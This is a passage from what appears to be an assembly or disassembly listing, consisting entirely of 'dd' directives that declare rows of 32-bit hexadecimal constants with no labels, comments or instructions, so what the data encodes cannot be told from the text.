		dd 82D04C09h, 1143A270h, 5313BBE0h, 80CBEF06h, 34C303E3h
		dd 2F4B3884h, 13C73B76h, 13CC1439h, 0E6446E8Bh,	45C5988Ah
		dd 1E065F89h, 244B3918h, 12333B4h, 0A25BBD29h, 6009A391h
		dd 0EA243E80h, 0A1BB4031h, 1C763AB7h, 0A5B101B0h, 8AACA490h
		dd 0E802C824h, 0CBD10339h, 22D20BAAh, 4A190140h, 0E5D6C90Ah
		dd 0DDF02316h, 71011D4h, 57D48B52h, 70087A32h, 0AA218014h
		dd 0AC3F7080h, 5A5F2A8Dh, 51531BBCh, 0DB923256h, 0AC479DF6h
		dd 0D3D1D8A0h, 0BCC30681h, 0B037465Ah, 0B49E8F3h, 81E897C8h
		dd 595EC38Bh, 4D60D15Bh, 7B232E7Bh, 2AEA2BACh, 8C04477h
		dd 35DFE4E7h, 0A8D80F03h, 293C2904h, 125292D4h,	587289A8h
		dd 85358F60h, 68E82156h, 0F9BD0640h, 0E9388910h, 98AF849Ch
		dd 0FC408B74h, 0F3170505h, 24899B46h, 3C143321h, 1E4659FDh
		dd 0C930476Bh, 87E9AE10h, 48DF69D1h, 4D722476h,	0B80C7A00h
		dd 4A45CAB2h, 0C02CC9A9h, 0D1E43006h, 3B46C801h, 0F1820FF7h
		dd 0EA028D49h, 0B2289708h, 2897284Ch, 53515604h, 2C041384h
		dd 67980C4Ah, 0C92D503Ch, 9804880Ah, 32133401h,	8C3C1D8h
		dd 675D1C21h, 595B1C40h, 237A25Eh, 1138DE98h, 0FC273F45h
		dd 0C043995h, 2E2229B1h, 0C5519D19h, 3E72E860h,	5D9A9603h
		dd 0F3D81A08h, 9C07F564h, 70FB772Dh, 74880F92h,	9AE64018h
		dd 623ED8AFh, 378CA659h, 8BABB240h, 3EF54EC0h, 0AF0E216Bh
		dd 0E883035h, 0B9965C04h, 0F7B7993Fh, 0C8B577Ah, 95455AD1h
		dd 0DE52431Ah, 0E227DE9Bh, 3CFF648Ch, 380FE879h, 6F6A3D85h
		dd 80FAA998h, 8FB03FF6h, 0A300AC0Dh, 5B7F58F1h,	454737Eh
		dd 8C0B5D6Fh, 0BCF5B8DFh, 73008C1Dh, 3098685h, 13E182h
		dd 20B167BCh, 4C7F766h,	256B7B9Ah, 4542F195h, 0C1CCA95Ch
		dd 0A7E0A52Eh, 1FF8F30h, 57DF4164h, 0A502E948h,	0CAC86D47h
		dd 35891F7Bh, 0C04D3715h, 20F2BDB1h, 0B341F00Eh, 0CA3F871Eh
		dd 0C65521C2h, 0A1D00043h, 9B9F84E8h, 480B6627h, 66BF5A14h
		dd 753595B6h, 66745700h, 2D2B4A4Fh, 0DF640C14h,	0C201C070h
		dd 0B78FFA97h, 3A2091D5h, 123C277Fh, 71F225C0h,	6050541Ch
		dd 0BB40529Eh, 310F243Ah, 0BA58015Ah, 6BBFE280h, 0E7EC3B61h
		dd 4D803C48h, 336F8A5Ah, 32701E2Dh, 9BC69Dh, 0A437AFE6h
		dd 2D6A7C10h, 0D8ADA516h, 7140A799h, 186660CBh,	98AA54BFh
		dd 83009EC3h, 0FCC48B61h, 0C9EB01CDh, 6AF3D12Bh, 306A70h
		dd 34D9CE5Eh, 0E281DF19h, 7299F30Bh, 2FA34C2Ch,	95DCE80h
		dd 79AD5979h, 27711816h, 0A664A2E7h, 0C8C9E300h, 0A4BFEC30h
		dd 2530098h, 61C74A43h,	0D9F8EACCh, 0BF6DCC5h, 29AEB9D2h
		dd 0D02DC7EEh, 0C023ED61h, 89021162h, 7B2795B0h, 64D7C770h
		dd 0D2C86019h, 10D70409h, 0CDEA8A29h, 9B68E823h, 14C60E05h
		dd 627001B8h, 52E580h, 0BE56E7FFh, 20B0F419h, 57DA5964h
		dd 0BC104AA0h, 0B60F6001h, 0FE200140h, 0D6B045C8h, 5F0212A2h
		dd 8A1708F0h, 0A4A260EFh, 0E36EB500h, 0F2896510h, 0CCF51401h
		dd 61F85ADEh, 0DC31F6C6h, 0CFC41F12h, 0D60547ACh, 9E31392Ch
		dd 929AD627h, 995E0EC8h, 1817D10Dh, 8A340574h, 0E6860F39h
		dd 80587905h, 0CCD1C0B2h, 0D92BD738h, 0D5F222D6h, 0ECC82BC2h
		dd 40C0BDEh, 0F3515E91h, 20FC8D00h, 30881Ah, 4D48052Ch
		dd 25AB6B58h, 59152902h, 61815F5Ah, 1A2471FDh, 2BBE17E6h
		dd 8DA3C0F6h, 1C3C8BE8h, 82B80F37h, 0EAF36097h,	304AFE43h
		dd 81034B6h, 6A3F01BFh,	87E1B851h, 5A21F462h, 80D1EBE0h
		dd 0F4F1711h, 530D278Ah, 565889C7h, 841FC087h, 0A39A34h
		dd 0C2D7DB87h, 4AB7CED4h, 0E109CDF3h, 0C68BFC06h, 4EE8300h
		dd 0F6E1B966h, 90FE1381h, 8505818Fh, 3A9475A5h,	0A8CB5720h
		dd 980200A6h, 0EE450A91h, 5E3A5AFCh, 28AACC75h,	530047Ch
		dd 0C18F11EAh, 0BBED046Ch, 0C0938217h, 0F46359DEh, 0DF5E9C03h
		dd 0B0FABC75h, 0F87A01FCh, 0F5BE0D77h, 0E0407FEDh, 0F001D579h
		dd 0F2B86BA3h, 28BBADE7h, 62B02C8Ch, 73143340h,	1387E6Ah
		dd 0C5EF7DD9h, 208049C0h, 6E2996D0h, 87007C32h,	2C81A1F8h
		dd 1A033Dh, 2E31E165h, 0F6C97321h, 0ED716800h, 64FAE86Fh
		dd 41B0007Bh, 7F1FBD35h, 71F2F6D5h, 44CABE28h, 8C518860h
		dd 0C07FB4FAh, 0C460BF31h, 80C07258h, 77A0EAB8h, 657A3E02h
		dd 1851BC18h, 6020FA32h, 0F428085Bh, 0C603592Ch, 0F0B71615h
		dd 2925EE81h, 0C946154h, 0EF30A935h, 9CA1B8E0h,	611081A3h
		dd 0DC4BB4F4h, 903070BEh, 586F0359h, 0CCA0E8FEh, 7540DD95h
		dd 0F2383086h, 3C4B18E8h, 0DB18F176h, 95C0AD7Ah, 2CAE031Fh
		dd 0F09F857Ch, 8772921h, 3390AC34h, 48F6F084h, 77D28063h
		dd 232A49BFh, 0BEDD2B00h, 0DB097B6h, 503000Ah, 96719C66h
		dd 0BBE2C9F5h, 3CA95800h, 0A717B209h, 0A2907Bh,	0E89BF214h
		dd 0EED54629h, 61DF3Ah,	0E5E13EDBh, 0E107247h, 0F9E2B028h
		dd 0EDD83660h, 0A4008356h, 0A0A81A37h, 3CFBDC73h, 1180BD7Ch
		dd 79FD4205h, 6503B481h, 979CEA32h, 40297C2Bh, 0B53D91F7h
		dd 0DD390390h, 0D82352E9h, 3A5DEFh, 1181AE3h, 8D90C482h
		dd 5ECBA700h, 55630471h, 0A8800058h, 6249AB37h,	0DE0038A3h
		dd 9A8B4EB5h, 461271h, 0C742BF69h, 1D06B56h, 0D898BE00h
		dd 0B83CEF41h, 0AEF0E7EBh, 1F5900A7h, 5E8B992Eh, 0D60081DAh
		dd 74625091h, 1E7EC714h, 0C06718D0h, 720DCF47h,	4D14AACEh
		dd 0F4EA25h, 7C11A960h,	0FE702D7h, 7AD83DD6h, 0CF6AA8E0h
		dd 0DE0015BEh, 808313A4h, 3AD9BA0Ah, 48BF9B5Eh,	0B5CE6B80h
		dd 1C29FF3Ah, 7DEAA407h, 21301462h, 38D991Bh, 49B128F4h
		dd 0F098C75Ch, 80006733h, 232B2DA0h, 55EDE015h,	83D0B886h
		dd 0B5FCBEh, 87615381h,	9CAF415h, 66DC7200h, 0DFC2CF12h
		dd 17EF8E7h, 0F04D0B19h, 0E8B801FFh, 0F3D736Eh,	0A1298066h
		dd 0CD81781Eh, 46111E2Ah, 0DF24062h, 5B055EDCh,	471CCCEAh
		dd 0DEC070CAh, 0ADB49AF8h, 1799009Eh, 1CB26DA3h, 3801F976h
		dd 56EC25BEh, 0E221F2F1h, 0A2535987h, 4146C193h, 0BB83D86Ch
		dd 0CB6831F9h, 69E4F106h, 0D8BC08h, 0F9F64F09h,	14E5BBFFh
		dd 0DBED3400h, 0D0203F46h, 1EF06FCh, 0E869AB13h, 0A73A1D0Fh
		dd 89C80F66h, 8C4003E4h, 611EB09Bh, 0D27E00E5h,	8B33E69Eh
		dd 2FFABD0Eh, 509AC0Eh,	0A59D0008h, 0FFC770h, 0FDE06831h
		dd 84A7D145h, 0B5928303h
		dd 386C2B94h, 0B900FF68h, 2059960Ch, 0FA03647Fh, 0CCAB6ECEh
		dd 0C4D7A7CFh, 0E9111BC0h, 96CA034Ah, 545F639h,	0FBDE79D8h
		dd 0AF00A477h, 95B7F19Eh, 5863382Eh, 800042D5h,	0C296A5BCh
		dd 2B38A84Dh, 0AD047CB5h, 0EB612D8Ah, 0ED243C80h, 92E055h
		dd 0F99A2B46h, 64E9BE1Bh, 420013FEh, 0CFE019D1h, 464540h
		dd 0DF1A95F6h, 0B782FD4Eh, 0EF680200h, 5FD8B50Ch, 1D01082Eh
		dd 4D047B58h, 0E44080D9h, 0C6F98F5h, 1274E000h,	0DA2E18FBh
		dd 4914E083h, 6808F090h, 45002231h, 933047FEh, 0F4B04820h
		dd 7C28A900h, 0BB7F4C53h, 7173E3Ch, 11653540h, 6A16214Fh
		dd 40FE6056h, 1ED37600h, 0C6E562h, 0D25A79CFh, 0A900CC3Bh
		dd 2A1A6A7h, 173A0E07h,	666599h, 0B5D13DB4h, 4207B356h
		dd 0B11DA417h, 0CD933770h, 4A7113E2h, 876400E1h, 72F819EAh
		dd 30D38200h, 0ECB5F14h, 368B0084h, 9AC42289h, 4E24242Bh
		dd 0F2393C57h, 154C1C98h, 70B8008Ch, 27E01EA7h,	321D7C9Ah
		dd 39285874h, 0C5E5C060h, 0FA5CF0DCh, 791E9400h, 3B1F8AC8h
		dd 918047C1h, 3FF7EE9h,	0CB071DCh, 0C673AD04h, 28819DD9h
		dd 0FAD817F0h, 297E8F1h, 8B889BB5h, 98685B44h, 0ED030CCFh
		dd 41E13BD8h, 0F210C054h, 0B27E33h, 4FA86980h, 2BEAEB4Ch
		dd 49A98E00h, 7DC6C0FFh, 4E7700D1h, 361CA3DCh, 25001F32h
		dd 3F1E35E4h, 59513002h, 0F300E8B7h, 250A8C99h,	901ED534h
		dd 0BE40DE7Ah, 0DCB3EC53h, 0E5AC06F7h, 303009B2h, 197AC900h
		dd 8BD85B9Fh, 872D000Ch, 348079F6h, 1100E966h, 0E457D0BDh
		dd 0B52E56h, 5C9A384Dh,	19039025h, 6F00B97Dh, 8A770872h
		dd 0D3C6A5h, 4A96FC71h,	29D6269Dh, 4383626h, 620B5D80h
		dd 1511508h, 9373C7EBh,	40D03966h, 70B79090h, 0F5E0B300h
		dd 55D97C8Fh, 86440328h, 66C4F136h, 8524A4A8h, 0BE7B2904h
		dd 0FC809B0Bh, 1DE0549h, 0D7037216h, 0DC70DD64h, 32001CF7h
		dd 0A20CB7D6h, 705307A6h, 5815246Ch, 20073874h,	279E87C7h
		dd 0BCA0ECF0h, 908BEC00h, 0E323463Eh, 39EB0F6Ah, 5E0E15EDh
		dd 8AE100B6h, 366BDC9Bh, 0E0C81100h, 0C762B223h, 0CB2B2CB6h
		dd 94C203CCh, 1C8F737h,	1307E92Ah, 5E77D8C5h, 6D916420h
		dd 8AC60083h, 618285E2h, 80A0DD36h, 4E013A9Bh, 1C4CB21h
		dd 0FAC80623h, 0C1A13939h, 8370C580h, 5AF3786Bh, 410B9F00h
		dd 2211D296h, 0BAC91C33h, 432713DFh, 7D0FA8D8h,	0CEE116E8h
		dd 7B66900h, 0F920113Ch, 190A00DDh, 0E55567CBh,	0BF003952h
		dd 0FCABF87Bh, 2A3AB4h,	1B27EA4Dh, 0C2936258h, 5D521501h
		dd 578A412h, 6860FCh, 2B1806CDh, 587DC190h, 32B49860h
		dd 8980A3h, 54C774E9h, 0E4F20D70h, 0DD7A5309h, 0A87C80EDh
		dd 12B4C930h, 5FBB1Fh, 9D328FE0h, 3F9022F0h, 1CA65D01h
		dd 0C2C8C44Bh, 75A721F4h, 16910953h, 80A05623h,	0A2EC64E1h
		dd 0CBAAB509h, 447C8F7Ah, 0F1372C45h, 4033CCC9h, 526241F8h
		dd 3556E800h, 0ED9E2F8Bh, 0A3770042h, 1CF2FDAAh, 28006F22h
		dd 0F11664A7h, 0B2F48362h, 0F8B001CCh, 359C3CC7h, 0D6786024h
		dd 187C0320h, 29C8AABDh, 0B3090A3Dh, 24476010h,	0CC64C8h
		dd 50781FD5h, 1575C1EDh, 0E4C23FD4h, 5900B427h,	18A3D231h
		dd 3ABB3CB8h, 29808546h, 0E6FE7567h, 51C57107h,	0E1C09D26h
		dd 0E8E54Ah, 0AFA48AF0h, 6B68CD6Ch, 3015AD00h, 0F95EE422h
		dd 0E71A00D4h, 28498D86h, 87004E47h, 0CD080A6Bh, 3B84C8ADh
		dd 7D01B185h, 5807F8EEh, 0BFEC8965h, 6B4C60E9h,	0FB370019h
		dd 15CF53D9h, 18C14A28h, 2A174B65h, 0BBB0D1D3h,	1D6D1840h
		dd 0BA8CA837h, 8BCA0E49h, 2A8079B8h, 0A5DE60D1h, 0AA03A8EAh
		dd 6D384E66h, 2B6BA91Ah, 0F88B0F0h, 4CFAE4E6h, 336E6280h
		dd 0C70305D6h, 0B653E9F0h, 0C680A0B9h, 0E7E0EBFEh, 8B4A1E2Ch
		dd 0A4FC00C8h, 0F891D9C2h, 9575FB01h, 995837FAh, 2AFE54E0h
		dd 0A07328h, 677974F2h,	6320175Bh, 6529C8C0h, 0A9BAB014h
		dd 0C102347Ch, 0A80F9600h, 0E8F82Ch, 0A16F79DDh, 0AE4C3FD9h
		dd 542FA903h, 0E0F7B536h, 97472E8h, 131A1CF0h, 437F06Ah
		dd 746C9506h, 0E4051810h, 5A971834h, 75DC3B00h,	6CB4E858h
		dd 71152632h, 57A0736h,	0EE82B0F8h, 3664FF98h, 1B21FC29h
		dd 25E412B8h, 0B2008ECAh, 9F901376h, 93003C0Eh,	0A56014D5h
		dd 56547Ch, 5FFD186Dh, 8187F1EAh, 72E39401h, 9F15E4F7h
		dd 0B75830h, 495F27BBh,	0F554C031h, 200ADE6h, 0EAE4E039h
		dd 435E1Ch, 8F4AB9E3h, 152A2BB0h, 0F0F65D00h, 8502226Ch
		dd 0C5DB059Ah, 5D09136h, 40C4B09Ch, 5B83CB0h, 2E020C01h
		dd 99E2F18Ah, 705883h, 0DA158792h, 0AE244FDDh, 0EFE8D800h
		dd 531303C1h, 170401FDh, 88431454h, 94519EACh, 384115D8h
		dd 20994BECh, 449A1660h, 21C1677Fh, 0F4ECF1EBh,	0BC0EF4h
		dd 52426D62h, 836AC39Dh, 5CE71800h, 0AEB125FCh,	0F9DC009Fh
		dd 5496FD2Dh, 0C3F26745h, 36878E00h, 0D333A101h, 0F77D18B0h
		dd 0FB6CD1B9h, 6149B400h, 0B5DF3FA2h, 7927004Eh, 0F2CD8F83h
		dd 0D732B242h, 60A63410h, 0A489231h, 239584E8h,	0A18000ACh
		dd 0CD3DBAF6h, 82B7CA3Bh, 0C3E3FA63h, 0EDE8E047h, 0B9770020h
		dd 7BFB7A88h, 5201A45Eh, 5619A12Ch, 85DC9D7Fh, 29BA0023h
		dd 0CB8E4BAFh, 9B009558h, 3826FB68h, 0D130AAh, 25DF2010h
		dd 0BEFABDA9h, 0E9278C00h, 0CDAA2643h, 76E7E63h, 424E37A5h
		dd 534133BBh, 0D9B840D5h, 52273FB8h, 5B092CBAh,	0A0BFE415h
		dd 0F23612B4h, 20F9831h, 7EEEF19Eh, 5C50059Fh, 9CE5700h
		dd 8F9C87E8h, 152D00A0h, 866240Fh, 7407A952h, 187DAB6Dh
		dd 3A59AF80h, 3CCCED0Dh, 0F7E101CBh, 5333652Ch,	0A9C82036h
		dd 0FF781A13h, 8D6C4880h, 0DA5600E7h, 48C79460h, 307E5DF1h
		dd 8EB64400h, 0FB982D54h, 0F08607FCh, 0D0197963h, 0D7E811CFh
		dd 0A605EA04h, 0A0847473h, 0C8864BC0h, 0AC9422h, 0E4FED64Fh
		dd 9A589726h, 81453CACh, 8179FC12h, 302437E6h, 84DB55C5h
		dd 4C64AAD5h, 291361D7h, 0D0209D19h, 0FF06EEA1h, 8A4A4F1Ch
		dd 0D0D32E38h, 0D4C70350h, 0F5C873F8h, 870030DCh, 4925698h
		dd 17184FD7h, 16CA2B37h, 6C0B0074h, 0E7F6D544h,	49869900h
		dd 0B39328DDh, 32330290h, 0F347A0D8h, 0AC007858h, 1BB8CD34h
		dd 12A3BFh, 61369380h, 0FA8B26ECh, 18A25900h, 0FECCC847h
		dd 0A31D012Eh, 0A85C657h, 76D4202Fh, 0EA08358h,	4FB9A6E8h
		dd 0FC0036CFh, 353851D5h, 27EC00D8h, 160730DDh,	0B9008092h
		dd 0FC26EE7h, 26668h, 0D8769EAAh, 0EF42A89Ah, 0E5BD3B00h
		dd 0AE8445EDh, 57FCD1h,	0DCC93ECFh, 279ACC4Eh, 92EDF00h
		dd 0C4138514h, 57C602E9h, 9C58A66Bh, 3896F440h,	8C163F00h
		dd 0E3B00152h, 42F30384h, 6E466C33h, 0E84010B1h, 0BB078978h
		dd 490CFF8Ah, 4481002Fh, 18CD33B7h, 98A5B19Fh, 1B487D64h
		dd 0AC0C17B5h, 15C0A31Eh, 2E59D560h, 0A5C22411h, 60285Fh
		dd 0DCB7D631h, 4EC79803h, 466F9300h, 0B59BF7DDh, 9A9D06AEh
		dd 408BBEF9h, 0D6C31300h, 4FB8B6A9h, 0DE190036h, 398D1D8Ah
		dd 4E7175E6h, 7BDC7201h, 0DDFADF9Dh, 7230C20h, 70C63440h
		dd 5A53C01Bh, 0CE002D4Bh, 30781136h, 5CA762F3h,	0C018FD13h
		dd 0E6CC18CFh, 7153CE0Fh, 6C0033E0h, 0D0F38DBh,	2A54EA1Dh
		dd 9C564Dh, 0D23CC4F7h,	0F87E611Eh, 1B208000h, 6956C3ADh
		dd 80B8DC9Dh, 0E063A088h
		dd 4B00A17Fh, 67AF36F1h, 3F28518Fh, 8C0025B7h, 0BB6CC381h
		dd 1B3CD57Eh, 9B3B00E6h, 0CA2677C0h, 0B9F50766h, 94D4721Ch
		dd 0DF08E017h, 0D378FC26h, 0AE5C7D06h, 97E200F0h, 687F350h
		dd 7B00BBDFh, 146F95F0h, 0C10D7AF8h, 0C4D19BE0h, 493080A3h
		dd 1EDB8D5Ah, 50D34D73h, 0D1801C3Fh, 82B3C571h,	39C0E493h
		dd 8C2BE8C0h, 0C6552418h, 3A670BC8h, 0AAD2F820h, 0D89083C7h
		dd 3BD92239h, 5FF20098h, 0B6DE8A36h, 0AE5A00B3h, 2CB013FDh
		dd 0E62C9C83h, 0A0024835h, 0C01567C8h, 2444A7D6h, 4081EAh
		dd 86C38441h, 0FC7C1F89h, 470EDA0Eh, 0BD72E06Fh, 0EADFE08Fh
		dd 9280C07Dh, 0EA897EB7h, 1DEB631Dh, 0F057F680h, 12C34BCDh
		dd 7DC2645h, 1089B538h,	0FD68187Bh, 0D772CA00h,	41C03B66h
		dd 5BB201D5h, 9586E9A8h, 0E861D12Eh, 64EFE9Bh, 0E49D4C20h
		dd 0B8DE0045h, 0F3DB695Dh, 0B00C870h, 0C9F63252h, 90389FD6h
		dd 0A3050004h, 7CB38C66h, 4209FB49h, 80B52C69h,	0A602E190h
		dd 0E838B092h, 0E0D200CAh, 8CD82119h, 0F00769Ch, 32C9879Bh
		dd 3BE247A8h, 0FE004113h, 68EE754Dh, 54782CD7h,	0EADCA216h
		dd 8CC3B102h, 55C0E9A7h, 84123C32h, 0BD51FF7h, 6380E661h
		dd 51E554D3h, 40BC3400h, 215892B2h, 907008Ch, 0A5761CB1h
		dd 0E3007005h, 0F6CB9C25h, 647F5A11h, 81D6B879h, 7236C820h
		dd 1FAB09F4h, 0B86C8182h, 0D8612CC2h, 9342424h,	0EC9BF045h
		dd 0A453D200h, 50146D6h, 0C6971F5Bh, 786CA019h,	4210E300h
		dd 0F6C06695h, 70F00C0Ch, 3EFF6179h, 7C3C7304h,	25375387h
		dd 2017805Fh, 0D8941B6Dh, 0CA61B880h, 0C87D0497h, 0FA014111h
		dd 0BE75DC3Ah, 77F22083h, 0EFD89A79h, 33096B59h, 80982F37h
		dd 0A0653A09h, 0CA0900E0h, 0A6ECCD73h, 400B077h, 0F6F48AE6h
		dd 30E76EBCh, 0EF498F59h, 274417A4h, 0A3C30395h, 0F46C7C2Ch
		dd 41F84DD3h, 29047F35h, 9C967BFAh, 0C18EB093h,	3F2059A7h
		dd 594148A5h, 674CB58h,	0F5BFB005h, 88002870h, 0DF7BFDFAh
		dd 7CF87826h, 600274F4h, 0E9B349D7h, 5F25733Fh,	5910A044h
		dd 0F8B16355h, 43A300F7h, 67C2BD1Eh, 0CA0101B8h, 0E5BFD04Bh
		dd 0C5D1B66Fh, 5FF902ECh, 498061Eh, 0EE000818h,	0E482ED2Ah
		dd 0A8775B6Fh, 0F142C4h, 800297B2h, 0C393DF0Ah,	39A5EF48h
		dd 0C4012A90h, 25264200h, 46175845h, 64FB005Eh,	666DD75Bh
		dd 8503F37Dh, 95356CF1h, 5830180Eh, 52EF6172h, 0B42BFA00h
		dd 78BACAAEh, 34A1FCEh,	0F5B8811h, 693E170Ch, 0D6D0009Ch
		dd 0CEA8B74Bh, 85063532h, 7DBD7EEDh, 0EF260751h, 0CAFB02A6h
		dd 0F0958098h, 659D475Ah, 0FCFEAB00h, 0AFDCA8DBh, 30C09F29h
		dd 0BE03B0A2h, 283386E0h, 9680FF3Ch, 15643F5Dh,	0B4420644h
		dd 65C83B03h, 0F5F02932h, 0ED00AE69h, 166CB564h, 90E11Eh
		dd 376D6309h, 7A2667EFh, 0DFF6C901h, 0EA93B66Bh, 14B347ECh
		dd 805B859Fh, 0AD283480h, 450B8A4Bh, 79CBCFh, 6CD59D97h
		dd 0AC48000Eh, 25D24DE6h, 30551A6Dh, 0DFE00384h, 6963E106h
		dd 1C515F58h, 400BB4F8h, 2235995h, 18302DCBh, 588739A1h
		dd 0D0490103h, 2264A556h, 6A8FF09Ah, 45FEDA00h,	3699E582h
		dd 1156096Eh, 1000AE57h, 86839044h, 0AFBC5500h,	93FB6102h
		dd 0C2990741h, 0D049200Ah, 33A4FD3Bh, 12E36900h, 72FF2464h
		dd 0EFFB0057h, 0E19B7658h, 9870661Eh, 0B359AD04h, 0A180A33Fh
		dd 0E00F9327h, 0C7C61h,	6A9B201h, 5D136E7Bh, 4FEAE773h
		dd 14C07900h, 4BB76553h, 30BF00C2h, 740618ADh, 0F1000FBDh
		dd 7B95A646h, 416CB7h, 4014D08Bh, 2AF2F6E5h, 69AE8900h
		dd 0B12D784Dh, 3D6600EFh, 7A361EA3h, 0F10B06BCh, 87647642h
		dd 91B70A14h, 0FB503840h, 451C00F6h, 77E01390h,	0C027302h
		dd 573F3DC6h, 4948833h,	14445BF1h, 0EF8042Fh, 10B3A830h
		dd 1E8B4FEh, 0B7FC5921h, 20115246h, 2500E64Eh, 0C2F60E51h
		dd 32FD335Ah, 0E329E74Bh, 89E5AB10h, 44CC08E2h,	22849FEDh
		dd 0C4E2EB3Ah, 4B08F789h, 0EAD92284h, 3F113A42h, 8A7219Fh
		dd 2690EE7Eh, 48E53884h, 0F1C94253h, 0B684102Fh, 4E0F48BEh
		dd 7E90F9A8h, 48B18184h, 0FF14423Bh, 0D4216A24h, 131712B0h
		dd 2D8625B4h, 0B6492229h, 44AD08F3h, 228482BCh,	0FF44B3D9h
		dd 175C0389h, 65724FBEh, 0F83E2598h, 8E4AE300h,	0CC1AF349h
		dd 0E68D00A7h, 57009E8h, 3E019B15h, 12E585D5h, 0A4C82E79h
		dd 65D600C2h, 50B78CB8h, 0CC03B103h, 0ED44888Ah, 49E1C890h
		dd 0F3480009h, 422B1267h, 760052A1h, 6881A58Ah,	156B8Bh
		dd 0CCA31BA0h, 930B3441h, 44DE1A01h, 33CB7E1Ch,	5D0CC4h
		dd 0A57A4A24h, 0F68088EAh, 0D756F802h, 4057491Dh, 0E07CCE40h
		dd 59F83Ch, 0BC2CB0ACh,	0A2797867h, 5F0E200h, 54037787h
		dd 41300B6h, 7E7A4B60h,	8951A61Fh, 14508EF6h, 0C10090C6h
		dd 1A97271Dh, 1503DE55h, 699C65CBh, 1C90EF67h, 7D711D8Ah
		dd 8F8400E6h, 0F8CD5FE8h, 9EF6B6B2h, 3FECC800h,	0C12101E4h
		dd 4B9A032Bh, 372046D8h, 926836C0h, 0B9C7E800h,	5AD673Ch
		dd 5ED5008Bh, 0A4CD0FF5h, 0CF0F9D39h, 3C9A8ABFh, 88DB288Ah
		dd 33413100h, 0AE96E1h,	494F3CF2h, 0DF987859h, 0DC7C5300h
		dd 103F8E16h, 3C720024h, 28076B84h, 0D900E257h,	66972035h
		dd 0AD32914h, 5D3D6E8Ch, 81811EA0h, 7AA7C61Dh, 6FDE46Dh
		dd 42EBC000h, 12FB5196h, 95AF2CC4h, 0B81107C6h,	4763905Dh
		dd 0ED00BD2Dh, 412671CAh, 9CE1AACh, 0BF84C06Dh,	92C40820h
		dd 0A1B8EC34h, 0A0033BFEh, 0CC2AA983h, 0D4948047h, 0FD973873h
		dd 0A46D5E80h, 60150DE6h, 92CF4807h, 2E608C55h,	782742h
		dd 46880B9Fh, 0E1C18AEh, 5F5E2D00h, 170DA369h, 0F7520059h
		dd 57C69099h, 4C4D8375h, 4D820350h, 95C9B6h, 8BB19640h
		dd 0D59B890Eh, 552A4400h, 6A7093EAh, 2D421CECh,	0F23080C8h
		dd 1C08E289h, 8A1538h, 0A8F651ACh, 1AE7946h, 26C25D45h
		dd 2066BBF0h, 0E0218A5h, 0E7584AF9h, 7E928017h,	7EDE1CA9h
		dd 162C7437h, 3CA756h, 0DD7CAFA1h, 35005421h, 0B7C776F9h
		dd 148CBE7h, 0B8284E97h, 0F8032A49h, 0E90086FFh, 41A036CDh
		dd 625F9216h, 0CAE6D8B0h, 0CBE0C44Bh, 6D3BD2D3h, 0DA200090h
		dd 5FBAEB63h, 46700B6h,	77BCA834h, 0E700EF5Dh, 589774CEh
		dd 16B0A23h, 0C099B3F0h, 6031EE2Ch, 0AA00FFF3h,	0D0EBA9FDh
		dd 4D1B72h, 0F4111487h,	54B49043h, 7F078000h, 0D9C36459h
		dd 447B009Bh, 0C865E22Bh, 0A01D315h, 0CEEA1F3Bh, 0FC84AA5h
		dd 7778E6h, 57E711EDh, 0FDF27E66h, 2BB41C00h, 0CC0534F3h
		dd 2E0AF23Eh, 24D15BF9h, 0D8A014C4h, 158E3F00h,	0B107A24Dh
		dd 2BE13100h, 724C3820h, 1EC7585h, 0D641B886h, 0DEA9FCE6h
		dd 0F08DDEE8h, 29E80D00h, 8182172Fh, 387B006Ah,	39FA4199h
		dd 0A370C2FFh, 0D58A4Ch, 73A802EBh, 0A05DECCh, 0F8976FE0h
		dd 0EE1701E8h, 30336D59h, 0C9002C0Ch, 4CDF1964h, 40ED79h
		dd 0F4320DFAh, 9885A0A4h, 0ACB95400h, 0FF63F501h, 76DE00DDh
		dd 6294CA9h, 0BE0EFDF7h, 40720896h, 422CC479h, 880E020Fh
		dd 644DDE15h, 85C8946Bh, 3E02E3C7h, 0AE31A899h,	0F09887EAh
		dd 0D2510830h, 0A27E01B6h, 0CCF68641h, 21ED3050h, 14B8AF00h
		dd 0CA43E3ECh, 0DD1D005Eh, 0A5270F3Eh, 0A006F76h, 406453BAh
		dd 0F14B8DD2h, 7570A60h, 923ADCECh, 0A078F063h,	0C00FB1Ch
		dd 9E8DA20Bh, 0F4D53Dh
		dd 858B7BF2h, 8907B022h, 0E4E849F7h, 0C2000594h, 862AAA95h
		dd 0ED2FBCh, 7251534h, 0EF43C3F5h, 0FC650E00h, 0A79285BFh
		dd 122E4837h, 9E6472Eh,	0A080B3B1h, 0DC5441D1h,	0B00F6600h
		dd 1DF7B47Fh, 0A3CD0948h, 0D000ED06h, 15183ED5h, 69C83B00h
		dd 0BDD96C97h, 1CD0A02Ch, 293400DFh, 7DCA3D8Fh,	0D590E830h
		dd 7094A400h, 0BE44895h, 6F4013Ch, 0EF8D0F31h, 7FC430C6h
		dd 0AD275500h, 5F98E6CEh, 0D4C90558h, 210301Ch,	5D2E25D0h
		dd 0AAFBD01h, 71EEE0h, 0F1E8AB76h, 8A17E161h, 41041500h
		dd 8038C53Bh, 0CF4A00C9h, 811EA984h, 0C64CEC0Ch, 0E5D500E4h
		dd 7B686296h, 9C830FF5h, 480F2A1h, 0CFF1A49Ah, 8358500h
		dd 1219834h, 6AF91EFBh,	848980B1h, 839E4425h, 56BF020Ah
		dd 37008186h, 8C697601h, 0DB63008Ah, 0ECA39225h, 300DC53h
		dd 0CE79ED88h, 0A4E3BBh, 7ABDC8EEh, 0B5E43E8h, 9A959200h
		dd 0E05DC087h, 0D631008Dh, 75C82788h, 4A035CFDh, 593A29ADh
		dd 1887BD15h, 0DCF53F70h, 4592286Fh, 0D9DE07A1h, 0E02EEA83h
		dd 87AC3914h, 886AD09h,	3A0480E8h, 0EAF59F74h, 99B200C4h
		dd 6281594Eh, 0D80B45F6h, 539A2Ch, 4D6AEC18h, 6E2F0096h
		dd 4831FD4Fh, 92035BDFh, 0B549D16h, 0A86DC8ABh,	2D52002Bh
		dd 94C11C93h, 0F90929A5h, 0F38841h, 0E7FE5D94h,	786800B2h
		dd 1B047746h, 3F00E13Dh, 44908DF9h, 1E2FD2Fh, 0F6F77E74h
		dd 0CCF5B94Bh, 210069B8h, 0C7A76805h, 71792B2h,	9EDD90A2h
		dd 15C07F7Eh, 79D9BAF2h, 80CB143Bh, 1B50E34Fh, 58737051h
		dd 0E03BF367h, 9F034980h, 234E4D7Bh, 9C0D8B00h,	80917775h
